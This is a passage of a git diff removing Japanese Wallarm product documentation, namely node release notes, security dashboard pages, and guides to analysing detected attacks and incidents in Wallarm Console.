![GraphQLリクエスト箇所に適用されたルールの例](../images/user-guides/rules/rule-applied-to-graphql-point.png) - -## コネクタおよびTCPトラフィックミラー向けNative Node - -NGINXから独立して動作するWallarm Node向けの新たなデプロイメントオプション、Native Nodeを導入できることを嬉しく思います。本ソリューションは、NGINXが不要な環境やプラットフォームに依存しないアプローチが望まれる環境のために開発されました。 - -現時点では、以下のデプロイメント向けに最適化されています： - -* MuleSoft、Cloudflare、CloudFront、Broadcom Layer7 API Gateway、Fastlyコネクタ（リクエストおよびレスポンス解析対応） -* Kong API GatewayおよびIstio Ingressコネクタ -* TCPトラフィックミラー解析 - -[続きを読む](../installation/nginx-native-node-internals.md#native-node) - -## NGINX Nodeテクノロジースタックの変更 - -[Wallarm NGINX Node](../installation/nginx-native-node-internals.md#nginx-node) 5.xは、**Rubyベース**の実装から**Go言語**ベースの実装へと再設計されました。本リリースでは、現在および将来の開発に向けて、ソリューションをより高速でスケーラブルかつリソース効率の高いものにすることに注力しています。 - -### メトリクス - -具体的なメトリクスに関しては、Wallarmのpostanalyticsモジュールにおいて以下のパフォーマンス向上が実現されました： - -* CPU使用量は0.5コアから0.1コアに削減されました。 -* 秒間500リクエストのトラフィック時に、メモリ使用量が400MB削減されました。 - -### ファイルシステムの変更 - -テクノロジースタックの変更に伴い、NGINX Nodeアーティファクトのファイルシステムは以下のように変更されました： - -* ログファイルシステム：以前は、各専用スクリプトごとに複数のファイルにログが記録されていました。現在、ほぼすべてのサービスのログは単一の専用ファイル`wcli-out.log`に記録されます。過去のログファイルの一覧はこちら、現在のログファイルは[こちら](../admin-en/configure-logging.md)で確認できます。 -* 診断スクリプトのパス変更：`/opt/wallarm/usr/share/wallarm-common/collect-info.sh`ファイルは`/opt/wallarm/collect-info.sh`に移動されました。 - -### さらなる機能の導入 - -NGINX Node 5.2リリース以降、新機能は新しいGoベースの実装を採用したノードでのみ導入され、以前のバージョン（4.10）にはバックポートされません。 - -## バージョンポリシーの変更 - -NGINX Nodeのテクノロジースタックの更新およびNative Nodeの導入に伴い、[Wallarm Nodeバージョンポリシー](versioning-policy.md)が更新されました： - -* Wallarmは、最新のマイナーバージョンを含む、直近2つのメジャーバージョンをサポートします。 -* 2リリース前のバージョン（例：6.xから4.x）のサポートは、新しいメジャーバージョンのリリースから3ヶ月後に終了します。 -* メジャーバージョンは6ヶ月ごと、または重要な新機能や破壊的変更がある場合にリリースされます。 -* マイナーバージョンは毎月リリースされ、既存機能の強化に注力（+1インクリメント）しています。 -* Native NodeもNGINX Nodeと同様のバージョン管理パターンに従い、同時リリースおよび機能のパリティを保っています。ただし、Native Nodeのメジャーバージョン番号は0から始まります。 - -## アップグレードが推奨されるWallarmノードはどれですか？ - -* クライアントおよびマルチテナントのWallarm NGINX Node 4.8および4.10は、Wallarmリリースに追随し、[インストール済みモジュールの非推奨化](versioning-policy.md#version-support-policy)を防ぐためにアップグレードが推奨されます。 -* [サポート外](versioning-policy.md#version-list)のバージョン（4.6以下）のクライアントおよびマルチテナントのWallarmノードです。 - -もしバージョン3.6以下からアップグレードする場合は、[別途の一覧](older-versions/what-is-new.md)ですべての変更点を確認してください。 - -## アップグレード手順 - -1. [モジュールアップグレードの推奨事項](general-recommendations.md)を確認します。 -2. ご利用のWallarmノードのデプロイ方法に対応する手順に従って、インストール済みモジュールをアップグレードします。 - - * NGINX Node: - * [DEB/RPMパッケージ](nginx-modules.md) - * [All-in-oneインストーラー](all-in-one.md) - * [NGINX用モジュール入りDockerコンテナ](docker-container.md) - * [Wallarmモジュール統合済みNGINX Ingress controller](ingress-controller.md) - * [Sidecar controller](sidecar-proxy.md) - * [クラウドノードイメージ](cloud-image.md) - * [マルチテナントノード](multi-tenant.md) - - * Native Node: - * [All-in-oneインストーラー](native-node/all-in-one.md) - * [Helmチャート](native-node/helm-chart.md) - * [Dockerイメージ](native-node/docker-image.md) - ----------- - -[Wallarm製品およびコンポーネントのその他の更新 →](https://changelog.wallarm.com/) \ No newline at end of file diff --git a/docs/latest-ja/user-guides/dashboards/api-discovery.md b/docs/latest-ja/user-guides/dashboards/api-discovery.md deleted file mode 100644 index 7df72e8998..0000000000 --- a/docs/latest-ja/user-guides/dashboards/api-discovery.md +++ /dev/null @@ -1,10 +0,0 @@ -[apid-overview]: ../../api-discovery/overview.md -[apid-risk-score]: ../../api-discovery/risk-score.md -[apid-track-changes]: ../../api-discovery/track-changes.md -[apid-rogue]: ../../api-discovery/rogue-api.md -[check-attack]: ../../user-guides/events/check-attack.md -[img-api-discovery-widget]: ../../images/user-guides/dashboard/api-discovery-widget.png - -# API Discoveryダッシュボード - ---8<-- "../include/api-discovery/dashboard.md" \ No newline at end of file diff --git a/docs/latest-ja/user-guides/dashboards/bi-dashboards.md b/docs/latest-ja/user-guides/dashboards/bi-dashboards.md deleted file mode 100644 index 5fbebdd88c..0000000000 --- a/docs/latest-ja/user-guides/dashboards/bi-dashboards.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/user-guides/dashboards/bi-dashboards.md" \ No newline at end of file diff --git a/docs/latest-ja/user-guides/dashboards/owasp-api-top-ten.md b/docs/latest-ja/user-guides/dashboards/owasp-api-top-ten.md deleted file mode 100644 index 970f645ea2..0000000000 --- a/docs/latest-ja/user-guides/dashboards/owasp-api-top-ten.md +++ /dev/null @@ -1,37 +0,0 @@ -# OWASP API 2023 Dashboard - -[OWASP API Security Top 10](https://owasp.org/www-project-api-security/)は、APIにおけるセキュリティリスクの評価に関するゴールドスタンダードです。これらのAPI脅威に対するAPIのセキュリティ体制を測定できるよう、Wallarmは脅威軽減に関する可視性と指標を明確に提供するDashboardを提供しています。 - -[OWASP API Security Top 10 2023](https://owasp.org/API-Security/editions/2023/en/0x00-header/)を網羅しており、Dashboardによって全体的なセキュリティ状態を評価し、特定された問題に対処するためのセキュリティコントロールを積極的に実装できます。 - -
        - -
        - -
        -
        - -## 脅威評価 - -Wallarmは、適用されているセキュリティコントロールと検出された脆弱性に基づいて、各API脅威のリスクを評価します。 - -* 赤 - セキュリティコントロールが適用されていない場合、またはAPIに高リスクのアクティブな脆弱性が存在する場合に該当します。 -* 黄 - セキュリティコントロールの適用が一部にとどまっている場合、またはAPIに中または低リスクのアクティブな脆弱性が存在する場合に該当します。 -* 緑 - APIが保護され、未対応の脆弱性が存在しないことを示します。 - -## OWASP API 2023向けWallarmのセキュリティコントロール - -Wallarmセキュリティプラットフォームは、次のセキュリティコントロールにより、OWASP API Security Top 10 2023に対して包括的な保護を提供します。 - -| OWASP API Top 10 2023の脅威 | Wallarmのセキュリティコントロール | -| ----------------------- | ------------------------ | -| [API1:2023 オブジェクトレベル認可の不備](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md) |
        • [BOLAの自動軽減](../../api-discovery/bola-protection.md)により、脆弱なエンドポイントを保護するtriggerを自動的に作成します
        | -| [API2:2023 認証の不備](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa2-broken-authentication.md) |
        • [Brute force trigger](../../admin-en/configuration-guides/protecting-against-bruteforce.md)により、認証エンドポイントを狙うブルートフォース攻撃を軽減します
        | -| [API3:2023 オブジェクトプロパティレベルの認可の不備](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa3-broken-object-property-level-authorization.md) |
        • 脆弱性を検出するために[Detecting Security Issues](../../api-attack-surface/security-issues.md)を有効化します
        • [BOLA triggers](../../admin-en/configuration-guides/protecting-against-bola-trigger.md)を使用します
        • [API Discovery](../../api-discovery/overview.md)で見つかったエンドポイントに対して[Automatic BOLA protection](../../admin-en/configuration-guides/protecting-against-bola.md)を適用します
        | -| [API4:2023 無制限のリソース消費](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa4-unrestricted-resource-consumption.md) |
        • [Brute force trigger](../../admin-en/configuration-guides/protecting-against-bruteforce.md)により、しばしばDoSにつながりAPIが応答しなくなる、または利用不能になるブルートフォース攻撃を軽減します
        | -| [API5:2023 機能レベルの認可の不備](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa5-broken-function-level-authorization.md) |
        • [Forced browsing trigger](../../admin-en/configuration-guides/protecting-against-bruteforce.md)により、この脅威の悪用手段でもある強制閲覧の試行を軽減します
        | -| [API6:2023 機微なビジネスフローへの無制限アクセス](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa6-unrestricted-access-to-sensitive-business-flows.md) |
        • [API Abuse Prevention](../../api-abuse-prevention/overview.md)により、悪意あるボットの行動を軽減します
        | -| [API7:2023 Server Side Request Forgery](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa7-server-side-request-forgery.md) |
        • 脆弱性を検出するために[Detecting Security Issues](../../api-attack-surface/security-issues.md)を有効化します
        • 適切な[mode](../../admin-en/configure-wallarm-mode.md)で動作する[Filtering node](../../about-wallarm/overview.md#how-wallarm-works)を使用します
        | -| [API8:2023 セキュリティの設定不備](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa8-security-misconfiguration.md) |
        • Wallarm nodeのセルフチェックにより、ノードのバージョンとセキュリティポリシーを最新に保ちます（[問題への対処方法](../../faq/node-issues-on-owasp-dashboards.md)をご参照ください）
        | -| [API9:2023 不適切なインベントリ管理](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa9-improper-inventory-management.md) |
        • [API Discovery](../../api-discovery/overview.md)により、実トラフィックに基づいて実際のAPIインベントリを自動発見します
        | -| [API10:2023 APIの安全でない利用](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xaa-unsafe-consumption-of-apis.md) |
        • 脆弱性を検出するために[Detecting Security Issues](../../api-attack-surface/security-issues.md)を有効化します
        | \ No newline at end of file diff --git a/docs/latest-ja/user-guides/dashboards/threat-prevention.md b/docs/latest-ja/user-guides/dashboards/threat-prevention.md deleted file mode 100644 index 686865b751..0000000000 --- a/docs/latest-ja/user-guides/dashboards/threat-prevention.md +++ /dev/null @@ -1,32 +0,0 @@ -# Threat Preventionダッシュボード - -指定期間の悪意のあるトラフィックの特性を**Threat Prevention**ダッシュボードで確認します。攻撃タイプ、ソース、プロトコル、認証方式などによる分布と悪意のあるトラフィック量を明確に把握できます。 - -このダッシュボードは脅威パターンの特定に役立ちます。攻撃者がどのようにシステムを悪用しようとしているかを明確に把握することで、脅威の迅速な検知とより的確な対応が可能になります。これは全体的なセキュリティ体制の向上に寄与し、プロアクティブな対策の実施に役立ちます。 - -攻撃タイプ（例：DDoS、SQLインジェクション、ブルートフォース）やプロトコル（例：HTTP、HTTPS、FTP）によっては必要な防御戦略が異なるため、攻撃手法やトラフィックの分布を把握することで、セキュリティチームはレート制限、ファイアウォールルール、WAAPの設定などの特定の対策を実装し、さらなるインシデントを防止できます。 - -情報は次のウィジェットで表示されます: - -* Speed of request encountering -* Normal and malicious traffic -* Summary for a period -* Attack sources -* Attack targets -* Attack types -* CVEs -* Attacks on API protocols -* Authentication in attacks - -
        - -
        - -
        -
        - -次の点をご確認ください: - -* [Hit](../../glossary-en.md#hit)は、悪意のあるリクエストにノードが付加したメタデータを加えたものです -* 一部のロケーションでは[トラフィックフィルタリングモード](../../admin-en/configure-wallarm-mode.md)が`monitoring`の場合があるため、ブロックされたhitsの数が検出されたhitsより少ない場合があります -* 攻撃タイプの説明は[こちら](../../attacks-vulns-list.md)で参照できます \ No newline at end of file diff --git a/docs/latest-ja/user-guides/events/check-attack.md b/docs/latest-ja/user-guides/events/check-attack.md deleted file mode 100644 index 0c6ecd1c69..0000000000 --- a/docs/latest-ja/user-guides/events/check-attack.md +++ /dev/null @@ -1,188 +0,0 @@ -[link-using-search]: ../search-and-filters/use-search.md -[img-current-attacks]: ../../images/glossary/attack-with-one-hit-example.png -[img-incidents-tab]: ../../images/user-guides/events/incident-vuln.png -[img-show-falsepositive]: ../../images/user-guides/events/filter-for-falsepositive.png -[use-search]: ../search-and-filters/use-search.md -[search-by-attack-status]: ../search-and-filters/use-search.md#search-attacks-by-the-action -[img-verify-attack]: ../../images/user-guides/events/verify-attack.png -[al-brute-force-attack]: ../../attacks-vulns-list.md#brute-force-attack -[al-forced-browsing]: ../../attacks-vulns-list.md#forced-browsing -[al-bola]: ../../attacks-vulns-list.md#broken-object-level-authorization-bola -[link-analyzing-attacks]: analyze-attack.md -[img-false-attack]: ../../images/user-guides/events/false-attack.png -[img-removed-attack-info]: ../../images/user-guides/events/removed-attack-info.png -[link-check-attack]: check-attack.md -[link-false-attack]: false-attack.md -[img-current-attack]: ../../images/user-guides/events/analyze-current-attack.png -[glossary-attack-vector]: ../../glossary-en.md#malicious-payload -[link-attacks]: ../../user-guides/events/check-attack.md -[link-incidents]: ../../user-guides/events/check-incident.md -[link-sessions]: ../../api-sessions/overview.md - -# 攻撃の分析 - -本記事では、Wallarmノードが検知した攻撃をどのように分析し、それらに対してどのような対応を取れるかを説明します。 - -### 攻撃の分析 - -Wallarmプラットフォームが検知した[攻撃](../../about-wallarm/protecting-against-attacks.md#what-is-attack-and-what-are-attack-components)は、Wallarm Consoleの**Attacks**セクションにすべて表示されます。攻撃日時、種類などの条件でリストを[フィルタ](../../user-guides/search-and-filters/use-search.md)し、任意の攻撃およびその含まれるリクエストを展開して詳細に分析できます。 - -検知された攻撃が[誤検知](#false-positives)であると判明した場合は、将来の同様の誤検知を防ぐために直ちに誤検知としてマークできます。また、検知された攻撃に基づいてルールを作成するなど、Wallarmの設定を実施して今後の同様の脅威を軽減できます。 - -
        - -
        - -
        -
        - -Wallarmにおいて： -* **Attack**は、Hitの[グループ](grouping-sampling.md#grouping-of-hits)です -* **Hit**は、ノードが付与したメタデータを含む悪意あるリクエストです -* **Malicious payload**は、攻撃の兆候を含むリクエストの一部です - -詳細は[こちら](../../about-wallarm/protecting-against-attacks.md#what-is-attack-and-what-are-attack-components)をご覧ください。 - -各攻撃の詳細には、攻撃のHitやMalicious payloadの概要など、分析に必要な情報がすべて含まれています。分析を容易にするため、攻撃の詳細には一意のHitのみが保存されます。繰り返しの悪意あるリクエストはWallarm Cloudへのアップロードから除外され、表示されません。この処理は[ヒットのサンプリング](grouping-sampling.md#sampling-of-hits)と呼ばれます。 - -ヒットのサンプリングは攻撃検知の品質に影響せず、有効化されていてもWallarmノードは引き続きアプリケーションやAPIを保護します。 - -## 脅威アクター活動の全コンテキスト - ---8<-- "../include/request-full-context.md" - -## 誤検知 - -誤検知とは、正当なリクエスト内に[攻撃の兆候](../../about-wallarm/protecting-against-attacks.md#basic-set-of-detectors)が検出される場合を指します。 - -将来的にフィルタリングノードがそのようなリクエストを攻撃として認識しないようにするため、**攻撃に含まれるすべて、または特定のリクエストを誤検知としてマークできます**。これにより、類似のリクエストで類似の攻撃兆候の検出をスキップするルールが自動的に作成されますが、Wallarm Consoleには表示されません。 - -誤検知としてのマークは、適用後数秒以内のみ取り消せます。後で取り消したい場合は、[Wallarmテクニカルサポート](mailto: support@wallarm.com)への依頼でのみ対応できます。 - -攻撃リストのデフォルトビューでは、実際の攻撃（誤検知を除く）のみが表示されます。変更するには、**All attacks**で**Default view**から**With false positives**または**Only false positives**に切り替えます。 - -![誤検知フィルタ](../../images/user-guides/events/filter-for-falsepositive.png) - -## 攻撃への対応 - -必要に応じて防御策を調整できるよう、アプリケーションやAPIが攻撃から適切に保護されているかを把握することは重要です。**Attacks**セクションの情報を用いて状況を把握し、適切に対応できます。 - -この作業にあたっては、どのタイプの攻撃が発生したのかを特定する必要があります。そうすることで、どのWallarmのメカニズムが防御に寄与したかを理解し、必要に応じてそれらを調整できます。 - -1. **Identify** - **Payload**フィールドのコンテキストメニューで**Show only**を選択し、**Type**フィルタと検索フィールドの内容に注意します。 -1. 何が防御として行われたかを確認します - **Status**列を確認します: - - * `Blocked` - 攻撃のすべてのHitがフィルタリングノードによりブロックされました。 - * `Partially blocked` - 一部のHitはブロックされ、他は記録のみされました。 - * `Monitoring` - すべてのHitが記録されましたが、ブロックはされていません。 - * `Bot detected` - これはボットです。攻撃内のactionを確認します。 - -1. 任意（推奨）で、攻撃の悪意あるリクエストの[全コンテキストを調査](#full-context-of-threat-actor-activities)します: それらがどの[ユーザーセッション](../../api-sessions/overview.md)に属するか、そのセッションにおけるリクエストの完全なシーケンスは何かを確認します。 - - これにより、脅威アクターの全活動とロジックを把握し、攻撃ベクトルや侵害されうるリソースを理解できます。 - -1. 実際の攻撃ではないと判断した場合は、[誤検知](#false-positives)としてマークします。 -1. **Understand** - 攻撃を検知し反応したWallarmのメカニズムを把握します。 -1. **Adjust** - Wallarmの振る舞いを調整します（具体的な方法はメカニズムに依存します）。 - -| 特定 | 理解 | 調整 | -| -- | -- | -- | -| `sqli`, `xss`, `rce`, `ptrav`, `crlf`, `nosqli`, `ssi` [など](../../user-guides/search-and-filters/use-search.md#search-by-attack-type) | [攻撃検知の標準ツール](../../about-wallarm/protecting-against-attacks.md#tools-for-attack-detection)（libproton、libdetection、rules） | 攻撃を展開し、攻撃全体の[CVE](../../demo-videos/events-inspection.md)サマリーや各リクエストのCVEを確認します。ノードモード（`final_wallarm_mode`タグ）に注意し、**Rules WAF**（[US](https://us1.my.wallarm.com/rules)または[EU](https://my.wallarm.com/rules)）を開いて、攻撃に紐づくアプリケーション名で分析します。必要に応じて、アプリケーションや特定のホスト・エンドポイント単位でルールや[フィルタリングモード](../../admin-en/configure-wallarm-mode.md#available-filtration-modes)を調整します。 | -| [`custom_rule`](../../user-guides/search-and-filters/use-search.md#search-by-regexp-based-customer-rule) | [カスタム攻撃検知器](../../user-guides/rules/regex-rule.md) | 攻撃を展開し、**Detected by custom rules**リンクをたどります。必要に応じて、ルールを[変更](../../user-guides/rules/regex-rule.md)したり、特定のブランチに対して[部分的に無効化](../../user-guides/rules/regex-rule.md#partial-disabling)したりします。 | -| `vpatch` | [Virtual patch](../../user-guides/rules/vpatch-rule.md) | **Rules WAF**セクション（[US](https://us1.my.wallarm.com/rules)または[EU](https://my.wallarm.com/rules)）を開き、「Create virtual patch」ルールを検索します。必要に応じて、該当攻撃に関連するルールを調整します。なお、Virtual patchはフィルタリングモードに関係なく動作します。 | -| `brute`,
        `dirbust`,
        `bola`,
        `multiple_payloads` | [Trigger](../../user-guides/triggers/triggers.md)とIP lists: [requests from denylisted IPs](../../user-guides/ip-lists/overview.md#requests-from-denylisted-ips) | 攻撃を展開し、リクエストを分析した後、表示されているトリガー名（表示がある場合）をクリックして、そのパラメータを変更します。トリガーのタグにも留意し、**Triggers**（[US](https://us1.my.wallarm.com/triggers)または[EU](https://my.wallarm.com/triggers)）に移動して名前で検索し、必要に応じて調整します。
        actionが[`Blocked`](../../user-guides/ip-lists/overview.md#requests-from-denylisted-ips)の場合はdenylistによるものです。**IP Lists**（[US](https://us1.my.wallarm.com/ip-lists)または[EU](https://my.wallarm.com/ip-lists)）に移動してIPで検索し、必要に応じてdenylistに留めておく期間を調整します。 | -| `blocked_source` | IP lists: [requests from denylisted IPs](../../user-guides/ip-lists/overview.md#requests-from-denylisted-ips) | 攻撃を展開し、denylistに入っているIPからのリクエストを分析します。その後、表示されているトリガー名をクリックし、必要に応じてトリガー設定を変更します。手動でdenylistに入れたIP（`blocked_source`）の場合は、**IP Lists**（[US](https://us1.my.wallarm.com/ip-lists)または[EU](https://my.wallarm.com/ip-lists)）に移動してIPで検索し、必要に応じてdenylistに留めておく期間を調整します。 | -| **特定のモジュールまたは機能:** | -| `api_abuse`, `account_takeover`, `security_crawlers`, `scraping`, `resource_consumption`（[詳細](../../attacks-vulns-list.md#api-abuse)）
        - すべてで**Bot detected**ステータスに留意 | [API Abuse Prevention](../../api-abuse-prevention/overview.md)とIP lists: [requests from denylisted IPs](../../user-guides/ip-lists/overview.md#requests-from-denylisted-ips) | 攻撃を展開し、ボットであることの[確信度](../../api-abuse-prevention/overview.md#how-api-abuse-prevention-works)を示す[ヒートマップ](../../api-abuse-prevention/exploring-bots.md#attacks)を分析し、攻撃日時と送信元IPに留意します。
        actionが[`Blocked`](../../user-guides/ip-lists/overview.md#requests-from-denylisted-ips)の場合はdenylistによるものです。**IP lists**に移動し、日付とIPでフィルタし、**Reason**列をクリックしてIPアドレスの詳細を確認・精査し、**Triggered profile**をクリックして内容を確認し、必要に応じて[変更](../../api-abuse-prevention/setup.md#creating-profiles)します。

        **さらに可能な対応:**
        • 送信元IPを[exception listに追加](../../api-abuse-prevention/exceptions.md)して、このIPがブロックされないようにします。逆に、**API Abuse Prevention** → **Exception list**から除外することもできます。
        • API Abuseの設定で自動denylist化されない場合でも、送信元IPをdenylistに追加します。
        **加えて**、**IP Lists**でIPアドレス自体をクリックすると**Events**に戻り、関連するすべての攻撃を確認できます。 | -| `bola` | [API Discovery](../../api-discovery/overview.md)による[BOLAの自動防御](../../api-discovery/bola-protection.md) | 攻撃を展開し、トリガーへのリンクが含まれていない場合（BOLAに対する手動防御のサインがない場合）は、**API Discovery**（[US](https://us1.my.wallarm.com/api-discovery)または[EU](https://my.wallarm.com/api-discovery)）モジュールによる自動防御です。必要に応じて、**BOLA Protection**（[US](https://us1.my.wallarm.com/bola-protection)または[EU](https://my.wallarm.com/bola-protection)）に移動し、この防御を無効化するか、その設定テンプレートを調整します。 | -| `undefined_endpoint`, `undefined_parameter`, `invalid_parameter_value`, `missing_parameter`, `missing_auth`, `invalid_request`（すべてを検索するには`api_specification`、[詳細](../../attacks-vulns-list.md#api-specification)） | [API Specification Enforcement](../../api-specification-enforcement/overview.md) | 攻撃を展開し、違反した仕様へのリンクをたどります。仕様のダイアログで、**API specification enforcement**タブを使用して設定を調整し、**Specification upload**タブから最新の仕様バージョンのアップロードを検討します。 | -| `gql_doc_size`, `gql_value_size`, `gql_depth`, `gql_aliases`, `gql_docs_per_batch`, `gql_introspection`, `gql_debug`（すべてを検索するには`graphql_attacks`、[詳細](../../attacks-vulns-list.md#graphql-attacks)） | [GraphQL API Protection](../../api-protection/graphql-rule.md) | 攻撃を展開し、**GraphQL security policies**リンクをたどります。必要に応じて、既存の**Detect GraphQL attacks**ルールを変更するか、特定のブランチ向けに追加のルールを作成します。 | -| `credential_stuffing` | [Credential Stuffing Detection](../../about-wallarm/credential-stuffing.md) | 攻撃を展開し、試行された漏えい認証情報の一覧を確認します。Credential Stuffing（[US](https://wallarm.us1.wallarm.com/credential-stuffing)、[EU](https://my.wallarm.com/credential-stuffing) Cloud）セクションに移動し、[設定](../../about-wallarm/credential-stuffing.md#configuring)、特に監視対象の認証エンドポイントのリストとその推奨、漏えい認証情報に関する通知設定を確認します。 | - -## ダッシュボード - -Wallarmは、検知された攻撃の分析に役立つ包括的なダッシュボードを提供します。 - -Wallarmの[Threat Prevention](../../user-guides/dashboards/threat-prevention.md)ダッシュボードは、攻撃の送信元、対象、タイプ、プロトコルなど、多面的な情報を含むシステムのセキュリティ状況に関する一般的な指標を提供します。 - -![Threat Preventionダッシュボード](../../images/user-guides/dashboard/threat-prevention.png) - -[OWASP API Security Top 10](../../user-guides/dashboards/owasp-api-top-ten.md)ダッシュボードは、攻撃情報を含むOWASP API Top 10の脅威に対するシステムのセキュリティ状況を詳細に可視化します。 - -![OWASP API Top 10](../../images/user-guides/dashboard/owasp-api-top-ten-2023-dash.png) - -## 通知 - -Wallarmは、検知された攻撃、Hit、Malicious payloadに関する通知を送信できます。これにより、システムへの攻撃試行を把握し、検知された悪意あるトラフィックを迅速に分析できます。悪意あるトラフィックの分析には、誤検知の報告、正当なリクエストの送信元IPのallowlist追加、攻撃送信元IPのdenylist追加が含まれます。 - -通知を設定するには: - -1. 通知送信先となるシステムとの[ネイティブ連携](../../user-guides/settings/integrations/integrations-intro.md)を設定します（例: PagerDuty、Opsgenie、Splunk、Slack、Telegram）。 -2. 通知送信の条件を設定します: - - * 検知された各Hitについて通知を受け取るには、連携設定で該当オプションを選択します。 - - ??? info "Hit検知通知のJSON形式の例" - ```json - [ - { - "summary": "[Wallarm] New hit detected", - "details": { - "client_name": "TestCompany", - "cloud": "EU", - "notification_type": "new_hits", - "hit": { - "domain": "www.example.com", - "heur_distance": 0.01111, - "method": "POST", - "parameter": "SOME_value", - "path": "/news/some_path", - "payloads": [ - "say ni" - ], - "point": [ - "post" - ], - "probability": 0.01, - "remote_country": "PL", - "remote_port": 0, - "remote_addr4": "8.8.8.8", - "remote_addr6": "", - "tor": "none", - "request_time": 1603834606, - "create_time": 1603834608, - "response_len": 14, - "response_status": 200, - "response_time": 5, - "stamps": [ - 1111 - ], - "regex": [], - "stamps_hash": -22222, - "regex_hash": -33333, - "type": "sqli", - "block_status": "monitored", - "id": [ - "hits_production_999_202010_v_1", - "c2dd33831a13be0d_AC9" - ], - "object_type": "hit", - "anomaly": 0 - } - } - } - ] - ``` - - * 攻撃・Hit・Malicious payloadの件数にしきい値を設定し、それを超過したときに通知を受け取るには、適切な[トリガー](../../user-guides/triggers/triggers.md)を構成します。 - -## API呼び出し - -攻撃の詳細を取得するには、Wallarm ConsoleのUIを使用する以外に、[Wallarm APIを直接呼び出す](../../api/overview.md)こともできます。以下は、過去24時間に検知された攻撃のうち最初の50件を取得するAPI呼び出しの例です。 - -`TIMESTAMP`は、24時間前の日付を[Unixタイムスタンプ](https://www.unixtimestamp.com/)形式に変換した値に置き換えてください。 - ---8<-- "../include/api-request-examples/get-attacks-en.md" - -!!! warning "100件以上の攻撃の取得" - 攻撃やHitのレコードが100件以上になる場合は、パフォーマンス最適化のため、一度に大きなデータセットを取得するのではなく小分けに取得するのが最適です。[該当するリクエスト例をご確認ください](../../api/request-examples.md#get-a-large-number-of-attacks-100-and-more) \ No newline at end of file diff --git a/docs/latest-ja/user-guides/events/check-incident.md b/docs/latest-ja/user-guides/events/check-incident.md deleted file mode 100644 index 4701cead0e..0000000000 --- a/docs/latest-ja/user-guides/events/check-incident.md +++ /dev/null @@ -1,72 +0,0 @@ -[link-using-search]: ../search-and-filters/use-search.md -[img-attacks-tab]: ../../images/user-guides/events/check-attack.png -[img-current-attacks]: ../../images/glossary/attack-with-one-hit-example.png -[img-incidents-tab]: ../../images/user-guides/events/incident-vuln.png -[use-search]: ../search-and-filters/use-search.md -[search-by-attack-status]: ../search-and-filters/use-search.md#search-attacks-by-the-action -[link-attacks]: ../../user-guides/events/check-attack.md -[link-incidents]: ../../user-guides/events/check-incident.md -[link-sessions]: ../../api-sessions/overview.md - -# インシデントの分析 - -Wallarm Consoleでは、検出された[インシデント](../../glossary-en.md#security-incident)を**Incidents**セクションで分析できます。必要なデータを見つけるには、[こちら][use-search]で説明している検索フィールドを使用するか、必要な検索フィルターを手動で設定してください。 - -## インシデントの確認 - -![Incidentsタブ][img-incidents-tab] - -* **Date**: 悪意のあるリクエストの日時です。 - * 同種のリクエストが短い間隔で複数検出された場合、日付の下に攻撃の継続時間が表示されます。継続時間とは、指定した期間内である種類の最初のリクエストから同じ種類の最後のリクエストまでの時間です。 - * 攻撃が現在進行中の場合は、その旨のラベルが表示されます。 -* **Payloads**: 攻撃タイプと一意の[悪意のあるペイロード](../../glossary-en.md#malicious-payload)の数です。 -* **Hits**: 指定の期間内に攻撃で発生したヒット数（リクエスト数）です。 -* **Top IP / Source**: 悪意のあるリクエストの送信元IPアドレスです。悪意のあるリクエストが複数のIPアドレスから発生している場合、インターフェイスには最も多くのリクエストを送信したIPアドレスが表示されます。IPアドレスについては次のデータも表示されます。 - * 指定期間中に同一の攻撃でリクエストが発信されたIPアドレスの総数 - * IPアドレスが登録されている国/地域（IP2Locationなどのデータベースで判明している場合） - * ソースの種類（例: **Public proxy**、**Web proxy**、**Tor**、またはIPが登録されているクラウドプラットフォームなど。IP2Locationなどのデータベースで判明している場合） - * 当該IPアドレスが悪意ある活動で知られている場合は、**Malicious IPs**ラベルが表示されます。これは公開記録および専門家による検証に基づきます -* **Domain / Path**: リクエストの宛先であるドメイン、パス、アプリケーションIDです。 -* **Status**: 攻撃のブロック状態（[トラフィックフィルタリングモード](../../admin-en/configure-wallarm-mode.md)に依存します）: - * Blocked: 攻撃のすべてのHitsがフィルタリングノードによってブロックされました。 - * Partially blocked: 一部のHitsはブロックされ、他は記録のみされました。 - * Monitoring: 攻撃のすべてのHitsが記録されましたがブロックはされませんでした。 -* **Parameter**: 悪意のあるリクエストのパラメーターと、そのリクエストに適用された[パーサー](../rules/request-processing.md)のタグです。 -* **Vulnerabilities**: インシデントが悪用している脆弱性です。脆弱性をクリックすると、詳細な説明と修正方法が表示されます。 - -最後のリクエスト時刻でインシデントを並べ替えるには、**Sort by latest hit**スイッチを使用できます。 - -## 脅威アクターの活動の完全なコンテキスト - ---8<-- "../include/request-full-context.md" - -## インシデントへの対応 - -[インシデント](../../glossary-en.md#security-incident)は、確認済みの脆弱性を標的とした攻撃です。 - -![Incidentsタブ][img-incidents-tab] - -**Incidents**セクションにインシデントが表示されたら: - -1. 任意ですが（推奨）、インシデントの悪意のあるリクエストの[完全なコンテキスト](#full-context-of-threat-actor-activities)を調査し、それらがどの[ユーザーセッション](../../api-sessions/overview.md)に属するのか、このセッション内のリクエストの完全なシーケンスが何かを確認してください。 - - これにより、脅威アクターの全アクティビティとロジックが把握でき、攻撃ベクターと侵害され得るリソースを理解できます。 - -1. **Vulnerabilities**列のリンクをたどり、修正手順や関連インシデント一覧を含む詳細な脆弱性情報を確認してください。 - - ![脆弱性の詳細情報](../../images/user-guides/vulnerabilities/vuln-info.png) - - 脆弱性を修正し、その後Wallarmでクローズとしてマークしてください。詳細は[脆弱性の管理](../vulnerabilities.md)を参照してください。 -1. 一覧のインシデントに戻り、どのメカニズムがシステムの反応を引き起こしたのか（攻撃の[ステータス](check-attack.md#attack-analysis)である`Blocked`、`Partially blocked`、`Monitoring`に留意してください）、今後同様のリクエストに対してシステムがどのように動作するのか、必要に応じてその将来の動作をどのように調整するかを調査してください。 - - 